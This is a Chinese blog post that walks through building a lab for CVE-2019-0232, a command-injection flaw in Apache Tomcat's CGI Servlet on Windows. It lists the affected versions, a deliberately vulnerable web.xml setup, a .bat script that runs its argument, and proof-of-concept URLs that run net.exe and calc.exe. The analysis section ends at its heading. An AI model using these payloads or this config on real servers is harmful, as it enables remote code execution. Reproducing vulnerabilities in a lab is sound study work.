strburnchang 2020-06-21
记录一个cve-2019-0232的漏洞环境搭建的任务
1、相关信息
2019年4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。 触发该漏洞需要同时满足以下条件: 1. 系统为Windows 2. 启用了CGI Servlet(默认为关闭) 3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭) 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93
2、漏洞复现
我的复现环境:
windows server 2008 R2 apache Tomcat 8.5.23 jdk 1.8
jdk可以去官网下载,tomcat下载地址:https://archive.apache.org/dist/tomcat/ (最好下载bin目录里的文件)
然后就是配置java环境变量,参考https://www.runoob.com/java/java-environment-setup.html
解压配置tomcat,运行startup.bat,如果这里不能正确弹出命令行窗口显示服务器已运行,可能是java环境变量配置有问题,也可以在startup.bat最后加一个pause让命令行在最后不关闭,看一下是否有报错信息
配置好之后,需要修改一些tomcat的配置:
1)conf/web.xml 中启用CGIServlet和启用cgi的servlet-mapping
注意这里可能有些版本里的cgiPathPrefix的值是WEB-INF/cgi,需要改一下为我们后面创建的WEB-INF/cgi-bin
<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet> #将下面的语句的注释去掉 <servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
2)之后修改 conf/context.xml 的添加 privileged="true"属性
3)然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个内容为 echo Content-type: text/html 的 .bat 文件。
例:hello.bat @echo off echo Content-Type: text/plain echo. set foo=%~1 %foo%
3、漏洞利用
Poc如下:
http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\net.exe+user
http://localhost:8080/cgi-bin/hello.bat?&C%3A\Windows\System32\calc.exe
(这里显示联通测速页面只是设计的一个例子)
4、漏洞原理具体分析